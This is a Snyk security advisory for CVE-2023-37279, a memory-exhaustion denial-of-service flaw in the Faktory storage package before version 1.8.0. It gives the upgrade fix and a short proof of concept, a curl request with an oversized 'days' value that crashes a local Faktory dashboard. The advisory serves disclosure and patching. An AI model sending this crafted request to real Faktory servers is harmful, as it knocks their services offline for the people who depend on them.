Memory Allocation with Excessive Size Value Affecting github.com/contribsys/faktory/storage package, versions <1.8.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.08% (34th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMCONTRIBSYSFAKTORYSTORAGE-7814218
- published 23 Aug 2024
- disclosed 21 Aug 2024
- credit Malayke
Introduced: 21 Aug 2024
CVE-2023-37279 Open this link in a new tabHow to fix?
Upgrade github.com/contribsys/faktory/storage to version 1.8.0 or higher.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via malicious user input. An attacker can disrupt service availability by sending specially crafted inputs to the Web Dashboard.
PoC
Start the Faktory Docker and limit memory usage to 512 megabytes for better demonstration:
$ docker run --rm -it -m 512m \
-p 127.0.0.1:7419:7419 \
-p 127.0.0.1:7420:7420 \
contribsys/faktory:latest
Send the following request. The Faktory server will exit after a few seconds due to out of memory:
$ curl 'http://localhost:7420/?days=922337'